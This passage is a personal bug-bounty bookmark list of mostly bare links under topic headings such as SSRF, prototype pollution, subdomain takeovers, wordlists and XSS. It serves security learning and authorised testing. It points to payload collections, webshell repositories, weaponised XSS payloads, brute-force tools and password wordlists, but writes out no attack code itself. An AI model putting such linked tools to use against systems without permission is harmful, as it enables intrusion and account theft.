Methodology   https://gist.github.com/cyberheartmi9/1ac77d171d9b9dc9a5be45fa4f4c8dcb\n   Bug Bounty Mini Course:Automated Recon  https://www.youtube.com/watch?v=0VOWgM4klpM&list=WL&index=19&t=53s\n   Zseanos Methodology https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf\n \n \nMime Type Sniffing\nhttps://www.keycdn.com/support/what-is-mime-sniffing\n\nMindmaps \n  List of Attack Vectors http://www.tecapi.com/public/relative-vulnerability-rating-gui.jsp\n  Huge Mind Map. Lots of resources. Has All Exploits and a lot of good info. https://www.xmind.net/m/Xy7XEW/\n  Collaborative Mindmaps - Collaborative Mind Mapping \n\nMobile\n  https://github.com/skateforever/pentest-scripts/tree/main/mobile\n  https://www.veracode.com/blog/2010/12/mobile-app-top-10-list \n  \nMootools\n  https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/mootools-more.md\n  mootools 1.4.5 vuln \n    https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-31812/summary\n    Vulnerable Line https://github.com/vsviridov/mootools-node/commit/0fcc500aa1be356bc8745b322e8182f38ec8f0a0#diff-c4d2ea9c35bf14dd01cf28b174dba68fca9d2d9a2ae4b63d48ee496d7e9deedbR360-R367 \n    poc https://snyk.io/test/npm/mootools/1.4.5\nNmap\n  https://tecadmin.net/scanning-open-ports-with-nmap/inif\n  nmap pwn https://gist.github.com/BU9D4DDY/3e31890ae407e7c41a00f3715d00c5d7\n\nNodejs hacking\nhttps://github.com/zactly/handouts/blob/master/node_js_generic_checks.md\n\nOneliners\n    automate prototype polution https://twitter.com/R0X4R/status/1402906185301323776\n    https://github.com/D4Vinci/One-Lin3rt\n\n  https://github.com/Excloudx6/Elsfa7110-Oneliner-bughunting\n  https://hackingblogs.com/bug-bounty-builder-project-tool-use/#ONE-LINERRECONfor_FUZZ_XSS\n  https://github.com/KingOfBugbounty/KingOfBugBountyTips/compare/master...halencarjunior:KingOfBugBountyTips:master\n  https://www.youtube.com/watch?v=ZcG8ARatgs0&t=467s\n  https://giters.com/okaayfine/oneliner-bugbounty\n  https://twitter.com/ofjaaah/status/1532581839344394241\n  https://gist.github.com/cyberheartmi9/c993542044fdc45834837c3f88484a63\n  https://github.com/trimstray/the-book-of-secret-knowledge\n\nOpen Redirects\nhttps://github.com/tomnomnom/meg/compare/master...1ndianl33t:meg:master\nhttps://www.infosecmatter.com/bug-bounty-tips-1/#5-top-25-open-redirect-dorks\nhttp://www.thespanner.co.uk/2014/03/21/rpo/\nhttps://nostarch.com/download/samples/RealWorldBugHunting_Ch02_Sample.pdf\nhttps://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf\nhttps://devcraft.io/2020/10/19/github-gist-account-takeover.html\nhttps://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirecthttps://blog.intigriti.com/hackademy/open-redirect/\nhttp request smugglin open redorect defparam https://www.youtube.com/watch?v=3tpnuzFLU8g\nhttps://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/understanding-and-discovering-open-redirect-vulnerabilities/\nhttps://corneacristian.medium.com/top-25-open-redirect-bug-bounty-reports-5ffe11788794\nhttps://www.youtube.com/watch?v=4Jk_I-cw4WE\nhttps://www.youtube.com/watch?v=grkMW56WX2E\n  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/Intruder/open_redirect_wwwist.txt\n  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/Intruder/openredirects.txt\n  https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Open%20Redirect/Intruder/Open-Redirect-payloads.txt\n  https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\n  https://github.com/AnLoMinus/Bug-Bounty/blob/2d654a0a62c1194564aa841745c171c4b1374252/Checklist/Web%20App/Upload%20Function.md\nhttps://github.com/Excloudx6/open-redirect-payload-list\n * [Learn with @DarkLotusKDB: Recon with Shodan & Spyse,XSS, Bypass OpenRedirects, SSRF, BugBunty Bot!!!](https://www.youtube.com/watch?v=66HqaFCF4Kk)\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect\n  https://web.archive.org/web/20201130145910/https://github.com/ptswarm/ptswarm-twitter/blob/main/2020-11-30-open-redirect-params.txt\nhttps://giters.com/okaayfine/oneliner-bugbounty#open-redirect\nhttps://infosecwriteups.com/bugbounty-linkedln-how-i-was-able-to-bypass-open-redirection-protection-2e143eb36941\nTnom and ori https://youtu.be/SYExiynPEKM?t=2630\n\nOwasp Top 10 (2021) https://cwe.mitre.org/data/definitions/1344.html\nParams\n  More Silent wheb running https://github.com/0xecho/parameth\n  Normal Branch https://github.com/maK-/parameth\n  Docker support https://github.com/Shaked/parameth\n  \nParameter Tampering - \n  http://www.tecapi.com/public/rvr-view-attack-vector-gui.jsp?antiCsrfToken=null&attackVectorId=57\n\nPayloads / POCs\n    https://github.com/knownsec/pocsuite3\nhttps://github.com/pranav77/XSS-using-SVG-file\n  https://github.com/Excloudx6/Public/tree/master/payloads\n  https://github.com/sh377c0d3/Payloads/fork\n  https://github.com/RootUp/PersonalStuff\n  https://github.com/swisskyrepo/PayloadsAllTheThings \n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2019\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2020-nominations-open\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2020\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2021-nominations-open\n  https://portswigger.net/research/top-10-web-hacking-techniques-of-2021\n  https://portswigger.net/research/top-10-web-hacking-techniques\n  https://portswigger.net/research/so-you-want-to-be-a-web-security-researcher#forgottenknowledge\n\nPOC Videos\n  https://repo.telematika.org/project/bminossi_allvideopocsfromhackerone/\n  https://github.com/zeroc00I/AllVideoPocsFromHackerOne\n\nPassword Cracking\n  https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-dg.pdf\n\nPeople \ntnom interview https://gist.github.com/ruevaughn/00638360841b2bec94149080c4f04f28\nAshar Jahvid https://twitter.com/soaj1664ashar\n\nProducts / Services \nTobuy https://order.shareit.com/cart/view | https://tryhackme.com/why-subscribe | https://findomain.app/#Pricing | https://github.com/Excloudx6/InfoSec-Black-Friday | HAKLUKE RECOMENDS https://securitytrails.com/corp/osint-toolkit?referral_code=LLDAK0F80M\n\n\nProtype Pollution\n  automate https://twitter.com/R0X4R/status/1402906185301323776\n  https://www.kitploit.com/2021/09/plution-prototype-pollution-scanner.html\n  https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0\n  https://github.com/kosmosec/proto-find\n  https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution\n  https://github.com/BlackFan/client-side-prototype-pollution\n  https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/\n  https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf\nhttps://www.youtube.com/watch?v=Gv1nK6Wj8qM&t=1558s\nppmap \n  https://blog.intigriti.com/2021/07/14/bug-bytes-131-credential-stuffing-in-bug-bounty-hijacking-shortlinks-hacker-shows/\n  https://www.geeksforgeeks.org/ppmap-a-scanner-or-exploitation-tool-written-in-go/\n  https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution\nPrototype polution Tools\n  https://github.com/msrkp/PPScan\n\n\n\nPython\nhttps://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03?utm_source=pocket-ff-recs\n\nRails\n  https://github.com/zactly/handouts/blob/master/oss_apps.md\n  https://github.com/zactly/handouts/blob/master/materials.md\n  https://github.com/gramantin/awesome-rails#apps-made-with-rails\n  Mass Assignment https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html\n  https://code.tutsplus.com/tutorials/mass-assignment-rails-and-you--net-31695\n  https://www.cloudbees.com/blog/preproduction-checklist-for-a-rails-app?utm_source=rubyweekly&utm_medium=email\n  https://youtu.be/CIhHpkybYsY?t=1171\n  https://github.com/zactly/handouts/find/master\n  https://github.com/zactly/handouts/blob/master/conferences/virtual-appsecday-2020/skea_rails_routes.md\n  \n \nRecon\n  https://github.com/003random/003Recon\n  https://raw.githubusercontent.com/anshumanbh/domain/master/enumall.py\n  Reconmap GUI Website SaaS https://demo.reconmap.com/login\n  https://github.com/0xbharath/assets-from-spf\n  https://mavericknerd.github.io/knowledgebase/BugBountyRecon/\n  https://www.bugbountyhunter.com/methodology/zseanos-methodology.pdf   \n  https://ulir.ul.ie/bitstream/handle/10344/8278/Nuseibeh_2019_Text.pdf?sequence=2\n  https://github.com/janmasarik/resolvers\n  https://github.com/janmasarik/resolvers/pull/31/files\n\nResolvers\n  https://github.com/janmasarik/resolvers/pull/31/files\n  https://github.com/janmasarik/resolvers\n\n\nReporting\n  https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html\n\nReflected File Downloads\n Reflected File Download - A New Web Attack Vector https://www.youtube.com/watch?v=dl1BJUNk8V4\n https://blog.davidvassallo.me/2014/11/02/practical-reflected-file-download-and-jsonp/\nhttps://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view?resourcekey=0-NV7cTUTB48bltMEddlULLg\nhttps://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf\nhttps://www.davidsopas.com/reflected-file-download-cheat-sheet/\n\nRegexp\n  Regexp Basics https://www.youtube.com/watch?v=KJG1dETacLI\n  https://regexr.com/\n\nResources\n  https://portswigger.net/research/web-cache-entanglement\n  https://github.com/AnLoMinus/Bug-Bounty\n  https://github.com/ngalongc/bug-bounty-reference\n  https://www.youtube.com/c/krypt0muxbugbounty\n  https://github.com/OWASP/www-chapter-czech-republic/blob/master/slides/Getting_Started_with_Bug_Bounty.pdf\n  https://github.com/OWASP/www-chapter-czech-republic/blob/master/slides/Hacking_101.pdf\n  https://github.com/OWASP/www-chapter-czech-republic/blob/master/slides/Adela_Hanikova_All_roads_lead_to_domain_admin.pdf\n  https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE\n  Really good bug bounty playlist https://www.youtube.com/watch?v=FeXloh12Mnw&list=PLlrnAg4kKF3r26OIyfoYQQ-YqySE3fyE_&index=2\n  When looking for something ot hack https://web.archive.org/web/20210420062735/https://help.intrigue.io/reference/intrigue-core-api-endpoints\n  The 5 Hacking NewsLetter 107 - https://pentester.land/newsletter/2020/05/27/the-5-hacking-newsletter-107.html\n  Cloud Metadata - https://gist.github.com/rudSarkar/39f821249bf0d38093cafbfd23bc33ee | https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb\n  Megathread https://twitter.com/ITSecurityguard/status/1519272305729458176\n  Reset Passwprd https://docs.google.com/presentation/d/1QzBl3k3n2q44ULyfZgr_gPZexj8nF5vD8JrS5AUJRbs/edit#slide=id.gb5aea10a86_0_167\n  Bug Bounty Google Doc https://docs.google.com/presentation/d/1o7GWUOYwcd3uMwLBRG9UzARYCvfuX3VKUHfoPu38t78/edit\n  Bug Bounty Udemy Courses Tip https://twitter.com/ITSecurityguard/status/1519272305729458176 \n  https://github.com/carlospolop/PEASS-ng \n  Saturday Night Bug Bounty Bytes w/ Ch1-R0n1n  https://www.youtube.com/watch?v=xx5fF7i-dCQ\n  Nicolas Gr\u00e9goire - Hunting for Top Bounties  https://www.youtube.com/watch?v=mQjTgDuLsp4\n  Hacktify Playlist to learn hacking https://www.youtube.com/watch?v=NBCrlRqX2AY&list=RDCMUCS82DNnKOhXHcGKxGzQvNSQ&start_radio=1&rv=NBCrlRqX2AY&t=0\n  \nRNG http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/ARTICLES/earticles.html  \n\nRPO (Relative Path overide) Gadgets \n  https://blog.innerht.ml/rpo-gadgets/\n  https://www2018.thewebconf.org/proceedings/\n  https://blog.acolyer.org/2018/05/28/large-scale-analysis-of-style-injection-by-relative-path-overwrite/\n  https://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf\n  https://portswigger.net/research/detecting-and-exploiting-path-relative-stylesheet-import-prssi-vulnerabilities\ninurl:/.well-known/security ext:txt -hackerone -bugcrowd -synack -openbugbount\n\nSAML\nhttps://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/\nhttps://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf\nhttps://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\n\nScanners\n  2020_3452\nhttps://www.zoomeye.org/\nhttps://searchcode.com/\nhttps://fullhunt.io/\nhttps://github.com/RustScan/RustScan\nhttps://github.com/knassar702/scant3r\n\nS3 buckets \n  https://github.com/sa7mon/S3Scanner\n   Dumping S3 Buckets | Exploiting S3 Bucket Misconfigurations https://www.youtube.com/watch?v=ITSZ8743MUk\n   https://support.cloudflare.com/hc/en-us/articles/360037983412-Configuring-an-Amazon-Web-Services-static-site-to-use-Cloudflare\n\nSecond Order Takeovers\n  Shubbs Talking about it in his 5 years of hacking talk. Good. https://youtu.be/iG7-c0YbhbM?t=1472\n\nSelf Hosting \n  https://honoki.net/2021/07/11/wilson-cloud-respwnder/\n  Shodan like nmap results parser (https://github.com/shivammehta007/ScanX) PBNJ(http://pbnj.sourceforge.net/) (A suite of tools to monitor change in a network over time) store NMAP Results in a database to monitor changes on a network over time and then conducts historical analysis to identify new hosts - \n\nScripts\n  LFI https://web.archive.org/web/20100228162410/http://pastie.org/840199\n  https://github.com/killswitch-GUI/PenTesting-Scripts\n\nSession Poisoning - https://en.wikipedia.org/wiki/Session_poisoning \n https://github.com/t1m4/ptl_lab\n \nSetup\n  Bug Bounty Tools Setup - https://github.com/oliveira-andre/bug_bounty_tools\n  Redherd - https://redherd.readthedocs.io/en/latest/ | https://www.youtube.com/channel/UCYSM51oldVsryhZxGdB3hXA\n\nShells\n  https://github.com/tennc/webshell/blob/master/README_EN.md\n\nSmart Contracts\n  https://github.com/SecurityInnovation/Smart-Contract-CTF\n\nSSRF\n  SSRF HTTP Bypass List https://pastebin.com/YbsKrMpf\n SSRF - Practical  by Hacktify https://www.youtube.com/watch?v=NBCrlRqX2AY\nhttps://reconshell.com/jira-mobile-ssrf-exploit/\nhttps://gowthams.gitbook.io/bughunter-handbook/list-of-vulnerabilities-bugs/ssrf\n\n\nSubdomain Takeovers\n  https://github.com/mhmdiaa/tko-subs\n  https://github.com/mhmdiaa/second-order\nhttps://0xpatrik.com/subdomain-takeover-ns/\nhttps://labs.detectify.com/2014/10/21/hostile-subdomain-takeover-using-herokugithubdesk-more/\nhttps://www.hackerone.com/application-security/guide-subdomain-takeovers\nhttps://medium.com/@thebuckhacker/how-to-do-55-000-subdomain-takeover-in-a-blink-of-an-eye-a94954c3fc75\nhttps://import.cdn.thinkific.com/359809/courses/1386931/locomotivesubdomaintakeover-210608-154821.yamll\nhttps://github.com/buckhacker/SubDomainTakeoverTools\ngithub.com/lukasikic/subzy \n    -> https://gist.githubusercontent.com/ruevaughn/91d3369fdf0d93b0bdc6662c771cb7ae/raw/79e07b315e465bae1f003ec8fd40fcf5471b223b/fingerprints.json\ngithub.com/mhmdiaa/second-order\n\nSubmitting a report\nhttps://about.gitlab.com/blog/2020/09/28/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/\n\nSQL INjection\nhttps://www.cloudflare.com/learning/security/threats/sql-injection/\n\nShodan\n  Awesome Shodan Queries https://github.com/jakejarvis/awesome-shodan-queries\n  Shodan Dorks https://twitter.com/0xhunster/status/1548382647759491074/photo/1\n  Shodan CVE Dorks Kathan https://kathan19.gitbook.io/howtohunt/sensitive-info-leaks/shodan_cve_dorks\n  https://carbon.now.sh/6nEp25xrtuu53L6aquU4\n  https://twitter.com/kotylevskiy/status/1551926067908182018/photo/1\nStatus Codes\n  Web status codes https://requests.readthedocs.io/en/latest/api/#status-code-lookup\n  \nSQL Injection\nhttps://github.com/ladecruze/Exploits/blob/master/sqlexploit.js\n  https://book.hacktricks.xyz/pentesting-web/sql-injection\n  (at the bottom of the page, the image and text for 2 sqli x-forwarded-for tips) https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21\n  https://github.com/0xEval/sql2shell\n  \nSource Code Analysis\n  https://twitter.com/dhakal_ananda/status/1544574015779606529\n\nTakeovers\n  https://github.com/musana/mx-takeover\n  \nTiming Attacks\nTime Attacks http://www.tecapi.com/public/relative-vulnerability-rating-gui.jsp?antiCsrfToken=null&filterCategory=9\n\nTips\n  Parse Github URls https://github.com/ruevaughn/git-url-parse\n  Randomize IPs https://gist.github.com/yehgdotnet/27114d4bb5b28ec093e6dd36e329c389\n\n  Find IP Address behind CDN\n    \t\thttps://github.com/mandatoryprogrammer/cloudflare_enum\n    https://infosecwriteups.com/finding-the-origin-ip-behind-cdns-37cd18d5275\n    https://zdresearch.com/finding-the-origin-ip-behind-cdns/\n    https://twitter.com/HolyBugx/status/1343156549162852352?s=20 \n  Test Shodan Queries https://app.netlas.io/responses/\n  https://bbinfosec.medium.com/collection-of-bug-bounty-tip-will-be-updated-daily-605911cfa248\n  https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/bugbountytips.md\n  King of Bug Bounty Tips - https://github.com/KingOfBugbounty/KingOfBugBountyTips\n  https://abhinavprasad47.github.io/bugbounty-starter-notes/\n  https://www.google.com/search?tbm=bks&q=recon-ng\n  gh dork: https://github.com/topics/one-liners\n  Sqlmap tip - https://youtu.be/rVu0GUjic_g?t=2246\n  Eval command and security issues https://mywiki.wooledge.org/BashFAQ/048\n  \ud83c\udf1f Find company's owned domains (company.*) with these #googledorks: | https://twitter.com/nil0x42/status/1533094473067995137 \n  https://redhuntlabs.com/nvadr\nTodo\n    read https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning\n      https://tillsongalloway.com/finding-sensitive-information-on-github/\nTODO: Make a worldist from these Amazon Cognito API actions GetUser etc https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_AdminGetUser.html\n\n\nTools\n  https://github.com/ladecruze/Subdorker/fork\n   Brute Force Tomcat https://github.com/Excloudx6/tomcter\n  Code Snippets\n    https://carbon.now.sh/snippets\n  HTML Tools (CSV To HTML, Regexpal, 50+ tools) \n    https://www.cleancss.com/join.php\n  \n\n  Arjun                 \n    https://github.com/s0md3v/Arjun/wiki/Usage#scan-a-single-url  \n  crobat                    \n    https://www.onsecurity.io/blog/how-i-made-rapid7s-project-sonar-searchable/\n  Dom Invader               \n    https://www.youtube.com/watch?v=GeqVMOUugqY\n  ffuf                      \n    https://mikekitckchan.medium.com/holy-ffuf-a-beginner-guide-to-fuzz-with-ffuf-4bc6a66b5391 | https://thexssrat.medium.com/what-the-fuzz-the-truth-behind-content-discovery-77cd0c0756e7\n  gf       \n    Automate GF and gau https://gist.github.com/BU9D4DDY/eea5f7580577d9bf5d009ce923bac4fe\n    https://rengine.wiki/usage/tool_conf/ \n    https://github.com/1ndianl33t/Gf-Patterns \n    https://github.com/halencarjunior/BugBuntu/wiki/Installing-Gf-Patterns \n    https://github.com/NitinYadav00/gf-patterns/fork \n    https://twitter.com/sratarun/status/1361209626478276610 \n    MORE GF TEMPLATES https://github.com/lutfumertceylan/top25-parameter/releases/tag/v1.0.7 \n    https://github.com/tomnomnom/gf/compare/master...pry0cc:jf:master | \n    https://github.com/ResistanceIsUseless/gf | \n    https://github.com/tomnomnom/gf/compare/master...medbsq:gf:master | \n    https://github.com/mrofisr/gf-patterns\n    \n  gee                       \n    Similar to Tee. More Functionality. https://github.com/hahwul/gee\n    Gee Tips https://twitter.com/hahwul/status/1360495560843689989\n  FFMPEG-AVI-m3u-xbin       - https://github.com/Excloudx6/ffmpeg-avi-m3u-xbin\n  metabigor v2              - Metabigor https://twitter.com/j3ssiejjj/status/1528687407587299330/photo/1\n  pywhat -- Identify anything. pyWhat easily lets you identify PI from pcap files\n    https://github.com/bee-san/pyWhat/fork\n  recon-ng  https://raw.githubusercontent.com/anshumanbh/domain/master/enumall.py\n  SimpleApachePathTraversal - https://github.com/MrCl0wnLab/SimplesApachePathTraversal\n  Source2Url                - \n  \n  Tmux \n    tmux or screen https://youtu.be/a8LaNydbJyA?t=6406\n\n  \n  Tracy\n    https://newsroom.nccgroup.com/\n    https://github.com/nccgroup/tracy/blob/master/src/js/database-worker.js\n    https://github.com/nccgroup/tracy\n  \n  UrlEncode/Decode\n    https://www.w3schools.com/tags/ref_urlencode.ASP\n    https://network-tools.com/url-encode/\n    https://www.url-encode-decode.com/\n\nVulnerable Things\n  https://github.com/kiwicom/xssable\n   https://github.com/janmasarik/dumb-password-rules\n https://github.com/duffn/dumb-password-rules/fork\n \n \n WhatWeb                   - https://github.com/urbanadventurer/WhatWeb\n  WFUZZ                     - https://book.hacktricks.xyz/pentesting-web/web-tool-wfuzz\nwwwwwww\nahttps://useragent.me/\n\nWordlists\nhttps://gist.github.com/random-robbie/0f9d24a7b3c7268ee0c1ecdbe280611b\n  http://web.mit.edu/~mkgray/jik/src/Attic/kerberos_password_hacker/allwords\n  https://web.archive.org/web/20201130145910/https://github.com/ptswarm/ptswarm-twitter/blob/main/2020-11-30-open-redirect-params.txt\n  https://github.com/mhmdiaa/chronos\n  https://github.com/d4rckh/gorilla\n  https://github.com/jim3ma/crunch\n  https://github.com/the-xentropy/samlists/fork\n  https://github.com/AyProductions-Team/NEXTdependencydownloader/blob/588fa54b77743f808feec88070a4a0c76ac7c993/bin/Debug/net6.0-windows/DependencyDownloader.exe.WebView2/EBWebView/ZxcvbnData/3.0.0.0/passwords.txt\n  https://gist.github.com/random-robbie/c9671939d029848df38e06c5383e6395\n  Common Config Files by Tomnomnom   https://github.com/tomnomnom/meg/blob/master/lists/configfiles\n  Short Wordlist by Tomnomnom https://gist.github.com/tomnomnom/57af04c3422aac8c6f04451a4c1daa51\n  https://github.com/giteshnxtlvl/cook\n  https://imgur.com/user/silverblack1111/New%20Folder\n  https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056\n  https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt\n  https://github.com/koaj/aws-s3-bucket-wordlist\n  https://github.com/Karanxa/Bug-Bounty-Wordlists\n  FUZZ.txt good -https://gist.github.com/m4ll0k/50efec5f04179b107c9d7597eec7d23c\n  https://gist.github.com/m4ll0k/https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d\n  Stream: Creating Target Specific Wordlist!!  https://www.youtube.com/watch?v=AF-zp6DROTs\n  API Endpoints https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d\n  https://bendtheory.medium.com/finding-and-exploiting-unintended-functionality-in-main-web-app-apis-6eca3ef000af\n  https://wordlists.assetnote.io/\n  https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056\n  https://github.com/six2dez/OneListForAll/blob/main/onelistforallmicro.txt\n  https://gist.github.com/miguelmota/706ebaeb661e246e1b682c400d49d1c9\n  https://github.com/ghostlulzhacks/wordlist/blob/master/directory-brute-wordlist.txt\n  to harvest https://youtu.be/YO3ldj4jkJk?t=275\n  Common Bucket Names https://github.com/buckhacker/buckhacker/blob/master/resources/common-bucket-names.txt\n  https://portswigger.net/web-security/authentication/auth-lab-passwords\n  https://portswigger.net/web-security/authentication/auth-lab-usernames\n  https://github.com/SmeegeSec/SmeegeScrape\n  make a wl from js https://gist.github.com/seqrity/d67608eb6372cd6f455bfeeefa77b9c2\n  Who what where when tomnomnom - https://www.youtube.com/watch?v=W4_QCSIujQ4\n  https://pentestbook.six2dez.com/recon/webs-recon Wordlist Gen\n  https://github.com/giteshnxtlvl/cook\n  https://gitlab.com/kalilinux/packages/amass/-/tree/91a5313226ab9ebd4ecbad40622584dd6f3f7cd5/wordlists Wordlists\n\n\n  \nWriteups\n  https://github.com/kh4sh3i/bug-bounty-writeups\n  securityforeveryone.com/scan-repository\n  2022-07-15 Exploiting Arbitrary Object Instantiations in PHP without Custom Classes  https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/\n  https://github.com/fardeen-ahmed/Bug-bounty-Writeups\n  https://github.com/devanshbatham/Awesome-Bugbounty-Writeups\n  https://twitter.com/ITSecurityguard/status/1519272305729458176\n  https://github.com/ngalongc/bug-bounty-reference\n  \n  https://github.com/djadmin/awesome-bug-bounty\n  https://ysamm.com/#\n  https://tarekbouali.com/posts/how-i-hacked-one-of-the-biggest-airlines-group-of-the-world/\n  https://github.com/jaiswalakshansh/Facebook-BugBounty-Writeups\n  https://infosecwriteups.com/intro-to-bug-bounty-automation-tool-chaining-with-bash-13e11348016f\n  https://hacklido.com/u/excloudx\n  https://subscription.packtpub.com/book/ssnetworking-and-servers/9781788626897/7/ch07lvl1sec47/example\n  https://subscription.packtpub.com/owned\n  https://id.bugbountyhub.com/auth/realms/bugbountyhub/login-actions/authenticate?execution=a484e1a7-bc42-472b-a339-15be49996b14&client_id=prod-platform&tab_id=MivkVulj_p8\n  https://prashantbhatkal2000.medium.com/svg-based-stored-xss-ee6e9b240dee\n  https://github.com/phlmox/public-reports/blob/main/hackerone-one-million-reports\n  https://footstep.ninja/posts/\n  https://twitter.com/omespino/status/1489310300708900868/photo/\n  https://github.com/phlmox/public-reports\n  https://blog.assetnote.io/2020/09/15/hacking-on-bug-bounties-for-four-years/\n  https://discord.com/channels/772850979955671103/772854181433573398/895230570366402590 Hacking Articles\n\nVhosts\n  https://github.com/Shaked/vhost-finder\n  Vhost Discovery https://github.com/projectdiscovery/tlsx#sancn-probe\n\nVPS\nhttps://github.com/bbhunter/pentest-scripts/blob/main/useful/get-tools.sh\nhttps://github.com/crawlab-team/crawlab\n  https://github.com/righettod/toolbox-pentest-web\n  google cloud official repos https://github.com/googleapis/google-cloud-ruby\n  google cloud repos https://github.com/orgs/4ARMED/repositories\n  Certifcate install   https://github.com/anshumanbh/terraform-burp-collaborator#using-a-proper-tls-certificate\n  https://github.com/orgs/4ARMED/repositories\n  Teraform Burp Colab server https://github.com/anshumanbh/terraform-burp-collaborator\n  Setup script for Regon-ng  and altdns https://github.com/jhaddix/domain\n  https://github.com/AntSwordProject/antSword\n  https://github.com/janmasarik/resolvers/blob/master/.github/workflows/main.yml\n  https://github.com/pry0cc/axiom/tree/master/images/provisioners\n  https://github.com/janmasarik/resolvers\n  Assetnote Setup and Installation   https://gist.github.com/sz3n/1fdf2f871a10d4e9180757afc8fd80e2\n  https://demo.ezxss.com/manage/dashboard\n  https://github.com/ssl/ezXSS/wiki/Installation\n  https://honoki.net/2021/07/11/wilson-cloud-respwnder/\n  https://github.com/ruevaughn/assetnote\n  https://github.com/robre/jsmon\n  Host and Deploy Assetnote https://gist.github.com/BU9D4DDY/9e023d0fae3314273302ae895ae7c5ed\n  vps_install.sh by Rajchowdhury420 https://gist.github.com/Rajchowdhury420/24fa500ebc4edbb2018860f85f93b8cf\n  https://hackingblogs.com/bug-bounty-builder-project-tool-use/\n  Beats - Lightweight shippers for Elasticsearch & Logstash \n  https://github.com/nicolargo/glances\n  https://github.com/intrigueio/intrigue-core/wiki/Setting-up-a-Development-Environment-%28on-Ubuntu%2C-Kali%2C-Debian%29\n  https://www.udemy.com/course/learn-website-hacking-penetration-testing-from-scratch/learn/lecture/5878090?start=0#overview\n  Pt a website onlne https://www.youtube.com/watch?v=NQP89ish9t8\n  https://www.trenchesofit.com/2021/06/14/bug-bounty-vps-build/\n  https://github.com/intrigueio/intrigue-core/wiki/Setting-up-a-Development-Environment-%28on-Ubuntu%2C-Kali%2C-Debian%29\n  https://github.com/AlexisAhmed/BugBountyToolkit <-- docker \n\nWhitepapers\nhttps://github.com/zactly/handouts/tree/master/conferences\n\nxss\nhttps://github.com/kiwicom/xssable\nhttps://twitter.com/soaj1664ashar\n  https://github.com/pranav77/XSS-using-SVG-file\n  https://www.openbugbounty.org/blog/devl00p/top-100-xss-dorks/\n  xss - https://threadreaderapp.com/thread/1508406052663934979.html\n  https://google-gruyere.appspot.com/\n  https://0x1.gitlab.io/web-security/Weaponised-XSS-Payloads/\n  https://infosecwriteups.com/weaponizing-reflected-xss-to-account-takeover-ae8aeea7aca3\n  https://hakluke.medium.com/upgrade-xss-from-medium-to-critical-cb96597b6cc4\n  https://github.com/hakluke/weaponised-XSS-payloads\n  https://medium.com/redteam/weaponising-angularjs-bypasses-4e59790a730a\n  https://github.com/dwisiswant0/findom-xss\n  https://www.secureideas.com/blog/2018/12/twelve-days-of-xssmas.html\n  https://www.geeksforgeeks.org/findom-xss-fast-dom-based-xss-vulnerability-scanner/?ref=rp\n  https://thexssrat.podia.com/free-labs\n  https://github.com/topics/xss\n  https://twitter.com/ofjaaah/status/1504932805431767046\n  https://portswigger.net/research/new-xss-vectors\n  https://medium.com/bugbountywriteup/how-i-was-able-to-find-50-cross-site-scripting-xss-security-vulnerabilities-on-bugcrowd-public-ba33db2b0ab1\n  https://github.com/takshal/freq\n  https://bytemeta.vip/index.php/@takshal\n  https://github.com/takshal/freq/pull/2/commits/ca176eee65889530b4896d782419edd0e4325713\n  https://www.kitploit.com/2018/05/xss-payload-list-cross-site-scripting.html\n  What is the best method to use dalfox?? https://attacker-codeninja.github.io/2021-09-09-portswigger-notes-on-host-header-attack/\n  https://github.sre.pub/topics/xss-scanners\n  https://medium.com/@skavans_/the-unobvious-about-xss-and-html-encoding-4e0d536a35d9\n  Al the ways you can alert 